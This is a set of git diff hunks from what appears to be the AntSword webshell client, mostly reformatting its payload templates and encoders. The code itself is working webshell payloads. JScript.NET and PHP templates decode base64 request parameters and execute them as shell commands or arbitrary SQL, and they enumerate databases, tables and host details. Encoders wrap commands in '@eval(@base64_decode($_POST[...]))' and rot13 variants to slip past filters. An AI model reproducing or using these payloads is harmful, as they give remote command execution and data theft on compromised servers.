for(var i=0;i<n.length;i++)Response.Write(n[i]+"\\t"+fe(n[i])+"\\n");
`.replace(/\n\s+/g, ''),
})
`.replace(/\n\s+/g, '')
}
})
\ No newline at end of file
......@@ -4,19 +4,17 @@
module.exports = (arg1, arg2) => ({
exec: {
_:
`var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());`,
_: `var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());`,
[arg1]: "#{base64::bin}",
[arg2]: "#{base64::cmd}"
},
listcmd: {
_:
`var binarr=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
_: `var binarr=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
var ss=binarr.split(",");
var i;
for(var i in ss){
Response.Write(ss[i]+"\\t"+(System.IO.File.Exists(ss[i])?1:0)+"\\n");
}`.replace(/\n\s+/g, ''),
[arg1]: "#{base64::binarr}",
[arg1]: "#{base64::binarr}"
}
})
......@@ -5,30 +5,26 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write(Request.Item["${arg2}"]+"\\t");Conn.Close();`,
_: `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write(Request.Item["${arg2}"]+"\\t");Conn.Close();`,
[arg1]: '#{base64::conn}',
[arg2]: '#{dbname}'
},
// 显示数据库所有表
show_tables: {
_:
`var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`,
[arg1]: '#{base64::conn}',
_: `var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`,
[arg1]: '#{base64::conn}'
},
// 显示表字段
show_columns: {
_:
`function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`,
_: `function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`,
[arg1]: '#{base64::conn}',
// SELECT TOP 1 * FROM table2
[arg2]: '#{base64::table}'
},
// 执行SQL语句
query: {
_:
`var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`,
_: `var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`,
[arg1]: '#{base64::conn}',
[arg2]: '#{base64::sql}',
[arg2]: '#{base64::sql}'
}
})
......@@ -5,29 +5,25 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write("[ADO DATABASE]\\t");Conn.Close();`,
_: `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write("[ADO DATABASE]\\t");Conn.Close();`,
[arg1]: '#{base64::conn}'
},
// 显示数据库所有表
show_tables: {
_:
`var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`,
[arg1]: '#{base64::conn}',
_: `var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`,
[arg1]: '#{base64::conn}'
},
// 显示表字段
show_columns: {
_:
`function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`,
_: `function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`,
[arg1]: '#{base64::conn}',
// SELECT TOP 1 * FROM table3
[arg2]: '#{base64::table}'
},
// 执行SQL语句
query: {
_:
`var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`,
_: `var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`,
[arg1]: '#{base64::conn}',
[arg2]: '#{base64::sql}',
[arg2]: '#{base64::sql}'
}
})
//
//
// ASPX::DNS数据库驱动代码模板
//
//
module.exports = require('./default');
\ No newline at end of file
//
//
// ASPX::microsoft_jet_oledb_4_0数据库驱动代码模板
//
//
module.exports = require('./access');
\ No newline at end of file
......@@ -5,8 +5,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`var Conn=new ActiveXObject("Adodb.connection");
_: `var Conn=new ActiveXObject("Adodb.connection");
Conn.ConnectionTimeout=10;
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset");
......@@ -17,13 +16,13 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}
Rs.Close();
Conn.Close();`.replace(/\n\s+/g, ''),
// Provider=OraOLEDB.Oracle;Data Source=test;User Id=sys;Password=;Persist Security Info=True;
// Provider=OraOLEDB.Oracle;Data Source=test;User Id=sys;Password=;Persist
// Security Info=True;
[arg1]: '#{base64::conn}'
},
// 显示数据库所有表
show_tables: {
_:
`var Conn=new ActiveXObject("Adodb.connection");
_: `var Conn=new ActiveXObject("Adodb.connection");
Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
Conn.ConnectionTimeout=10;
Conn.Open();
......@@ -40,8 +39,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示表字段
show_columns: {
_:
`var Conn=new ActiveXObject("Adodb.connection");
_: `var Conn=new ActiveXObject("Adodb.connection");
Conn.ConnectionTimeout=10;
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset");
......@@ -61,8 +59,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 执行SQL语句
query: {
_:
`var Conn=new ActiveXObject("Adodb.connection");
_: `var Conn=new ActiveXObject("Adodb.connection");
var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));
Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
Conn.ConnectionTimeout=10;
......@@ -85,7 +82,8 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}
Conn.Close();`.replace(/\n\s+/g, ''),
[arg1]: '#{base64::conn}',
// SELECT * FROM (SELECT A.*,ROWNUM N FROM table2 A ORDER BY 1) WHERE N>0 AND N<=20
// SELECT * FROM (SELECT A.*,ROWNUM N FROM table2 A ORDER BY 1) WHERE N>0 AND
// N<=20
[arg2]: '#{base64::sql}',
[arg3]: '#{dbname}'
}
......
......@@ -5,8 +5,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`var Conn=new ActiveXObject("Adodb.connection");
_: `var Conn=new ActiveXObject("Adodb.connection");
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset");
Rs.Open("SELECT [name] FROM master.dbo.sysdatabases ORDER BY 1",Conn,1,1);
......@@ -20,8 +19,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示数据库所有表
show_tables: {
_:
`var Conn=new ActiveXObject("Adodb.connection");
_: `var Conn=new ActiveXObject("Adodb.connection");
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset");
Rs.Open("USE ["+Request.Item["${arg2}"]+"];
......@@ -37,8 +35,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
},
// 显示表字段
show_columns: {
_:
`var Conn=new ActiveXObject("Adodb.connection");
_: `var Conn=new ActiveXObject("Adodb.connection");
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset");
Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);
......@@ -51,13 +48,13 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
Conn.Close();`.replace(/\n\s+/g, ''),
// Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=
[arg1]: '#{base64::conn}',
// USE [database1];SELECT A.[name],B.[name] FROM syscolumns A,systypes B where A.id=object_id(\'table1\') and A.xtype=B.xtype ORDER BY A.colid
// USE [database1];SELECT A.[name],B.[name] FROM syscolumns A,systypes B where
// A.id=object_id(\'table1\') and A.xtype=B.xtype ORDER BY A.colid
[arg2]: '#{base64::table}', // 这里其实传入的是获取表头的 sql 语句
},
// 执行SQL语句
query: {
_:
`var Conn=new ActiveXObject("Adodb.connection");
_: `var Conn=new ActiveXObject("Adodb.connection");
var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));
Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
Conn.ConnectionTimeout=10;
......
This diff is collapsed.
This diff is collapsed.
......@@ -19,7 +19,7 @@ module.exports = {
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
decode_buff: (data, ext = {}) => {
return Buffer.from(data.toString(), 'base64');
}
}
\ No newline at end of file
......@@ -19,7 +19,7 @@ module.exports = {
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
decode_buff: (data, ext = {}) => {
return Buffer.from(data.toString(), 'hex');
}
}
\ No newline at end of file
......@@ -20,7 +20,7 @@ module.exports = {
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
decode_buff: (data, ext = {}) => {
return Buffer.from(Buffer.from(data.toString(), 'hex').toString(), 'base64');
}
}
\ No newline at end of file
//
//
// custom::base64 编码模块
//
//
// :把除了密码的其他参数都base64编码一次
//
//
'use strict';
module.exports = (pwd, data, ext = null) => {
let ret = {};
for (let _ in data) {
if (_ === '_') { continue };
ret[_] = Buffer.from(data[_]).toString('base64');
if (_ === '_') {
continue
};
ret[_] = Buffer
.from(data[_])
.toString('base64');
}
ret[pwd] = data['_'];
return ret;
......
//
//
// 16进制编码模块
//
//
'use strict';
module.exports = (pwd, data, ext = null) => {
let ret = {};
for (let _ in data) {
if (_ === '_') { continue };
ret[_] = Buffer.from(data[_]).toString('hex');
if (_ === '_') {
continue
};
ret[_] = Buffer
.from(data[_])
.toString('hex');
}
ret[pwd] = data['_'];
return ret;
......
......@@ -14,18 +14,26 @@ class CUSTOM extends Base {
super(opts);
// 解析模板
[
'base', 'command', 'filemanager',
'database/sqlserver', 'database/mysql', 'database/oracle'
'base',
'command',
'filemanager',
'database/sqlserver',
'database/mysql',
'database/oracle'
].map((_) => {
this.parseTemplate(`./custom/template/${_}`);
});
// 解析编码器
this.encoders.map((_) => {
this.parseEncoder(`./custom/encoder/${_}`);
});
this.decoders.map((_) => {
this.parseDecoder(`./custom/decoder/${_}`);
});
this
.encoders
.map((_) => {
this.parseEncoder(`./custom/encoder/${_}`);
});
this
.decoders
.map((_) => {
this.parseDecoder(`./custom/decoder/${_}`);
});
}
/**
......@@ -33,7 +41,7 @@ class CUSTOM extends Base {
* @return {array} 编码器列表
*/
get encoders() {
return ['base64','hex'];
return ['base64', 'hex'];
}
get decoders() {
......@@ -45,7 +53,7 @@ class CUSTOM extends Base {
* @param {Object} data 通过模板解析后的代码对象
* @return {Promise} 返回一个Promise操作对象
*/
complete(data, force_default=false) {
complete(data, force_default = false) {
// 分隔符号
let tag_s = '->|';
let tag_e = '|<-';
......
......@@ -10,6 +10,6 @@ module.exports = () => ({
},
listcmd: {
_: 'Y',
'z1': '#{binarr}',
'z1': '#{binarr}'
}
})
......@@ -7,9 +7,13 @@
const rot13encode = (s) => {
//use a Regular Expression to Replace only the characters that are a-z or A-Z
return s.replace(/[a-zA-Z]/g, function (c) {
//Get the character code of the current character and add 13 to it
//If it is larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z" ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26);
// Get the character code of the current character and add 13 to it If it is
// larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z"
? 90
: 122) >= (c = c.charCodeAt(0) + 13)
? c
: c - 26);
});
};
......
......@@ -7,8 +7,13 @@
module.exports = (pwd, data, ext = null) => {
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = Buffer.from(data['_']).toString('base64');
let randomID = `_0x${Math
.random()
.toString(16)
.substr(2)}`;
data[randomID] = Buffer
.from(data['_'])
.toString('base64');
data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`;
delete data['_'];
return data;
......
......@@ -3,21 +3,27 @@
* ? 利用php的 rot13 进行编码处理
*/
'use strict';
module.exports = (pwd, data, ext = null) => {
const encode = (s) => {
//use a Regular Expression to Replace only the characters that are a-z or A-Z
return s.replace(/[a-zA-Z]/g, function (c) {
//Get the character code of the current character and add 13 to it
//If it is larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z" ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26);
// Get the character code of the current character and add 13 to it If it is
// larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z"
? 90
: 122) >= (c = c.charCodeAt(0) + 13)
? c
: c - 26);
});
}
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
let randomID = `_0x${Math
.random()
.toString(16)
.substr(2)}`;
data[randomID] = encode(data['_']);
data[pwd] = `@eval(@str_rot13($_POST[${randomID}]));`;
delete data['_'];
......
......@@ -14,7 +14,9 @@ class PHP extends Base {
super(opts);
// 解析模板
[
'base', 'command', 'filemanager',
'base',
'command',
'filemanager',
'database/mysql',
'database/mysqli',
'database/mssql',
......@@ -28,12 +30,16 @@ class PHP extends Base {
this.parseTemplate(`./php/template/${_}`);
});
// 解析编码器
this.encoders.map((_) => {
this.parseEncoder(`./php/encoder/${_}`);
});
this.decoders.map((_) => {
this.parseDecoder(`./php/decoder/${_}`);
});
this
.encoders
.map((_) => {
this.parseEncoder(`./php/encoder/${_}`);
});
this
.decoders
.map((_) => {
this.parseDecoder(`./php/decoder/${_}`);
});
}
/**
......@@ -54,16 +60,24 @@ class PHP extends Base {
* @param {bool} force_default 强制使用 default 解码
* @return {Promise} 返回一个Promise操作对象
*/
complete(data, force_default=false) {
complete(data, force_default = false) {
// 分隔符号
let tag_s = Math.random().toString(16).substr(2, 5); // "->|";
let tag_e = Math.random().toString(16).substr(2, 5); // "|<-";
let tag_s = Math
.random()
.toString(16)
.substr(2, 5); // "->|";
let tag_e = Math
.random()
.toString(16)
.substr(2, 5); // "|<-";
let asencCode;
if(!force_default){
if (!force_default) {
asencCode = this.__decoder__[this.__opts__['decoder'] || 'default'].asoutput();
}else{
asencCode = this.__decoder__['default'].asoutput();
} else {
asencCode = this
.__decoder__['default']
.asoutput();
}
// 组合完整的代码
let tmpCode = data['_'];
......
......@@ -4,10 +4,26 @@
*/
module.exports = () => ({
info:
`$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="\t";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="\t{$s}";echo $R;`,
probedb: // 检测数据库函数支持
`$m=array('mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','oci_close','ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount','sybase_close');
info: {
_: `$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}\t";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.="\t";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.="\t{$s}";
echo $R;`.replace(/\n\s+/g, '')
},
probedb: { // 检测数据库函数支持
_: `$m=array('mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','oci_close','ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount','sybase_close');
foreach ($m as $f) {
echo($f."\\t".(function_exists($f)?'1':'0')."\\n");
}
......@@ -15,5 +31,6 @@ module.exports = () => ({
foreach(@pdo_drivers() as $f){
echo("pdo_".$f."\\t1\\n");
}
}`.replace(/\n\s+/g, ''),
})
}`.replace(/\n\s+/g, '')
}
})
\ No newline at end of file
......@@ -4,8 +4,7 @@
module.exports = (arg1, arg2) => ({
exec: {
_:
`$p=base64_decode($_POST["${arg1}"]);
_: `$p=base64_decode($_POST["${arg1}"]);
$s=base64_decode($_POST["${arg2}"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";
......@@ -52,11 +51,10 @@ module.exports = (arg1, arg2) => ({
foreach($arr as $v){
echo($v."\t".(file_exists($v)?"1":"0")."\n");
}`.replace(/\n\s+/g, ''),
[arg1]: "#{base64::binarr}",
[arg1]: "#{base64::binarr}"
},
quote: {
_:
`$p=base64_decode($_POST["${arg1}"]);$s=base64_decode($_POST["${arg2}"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";echo \`{$r} 2>&1\``,
_: `$p=base64_decode($_POST["${arg1}"]);$s=base64_decode($_POST["${arg2}"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";echo \`{$r} 2>&1\``,
[arg1]: "#{base64::bin}",
[arg2]: "#{base64::cmd}"
}
......
......@@ -6,16 +6,14 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT username FROM SYSUSERS WHERE usertype='D' ORDER BY username",$T);echo("informix".chr(9));while($rs=@ifx_fetch_row($q)){echo(trim($rs[username]).chr(9));}@ifx_close($T);`,
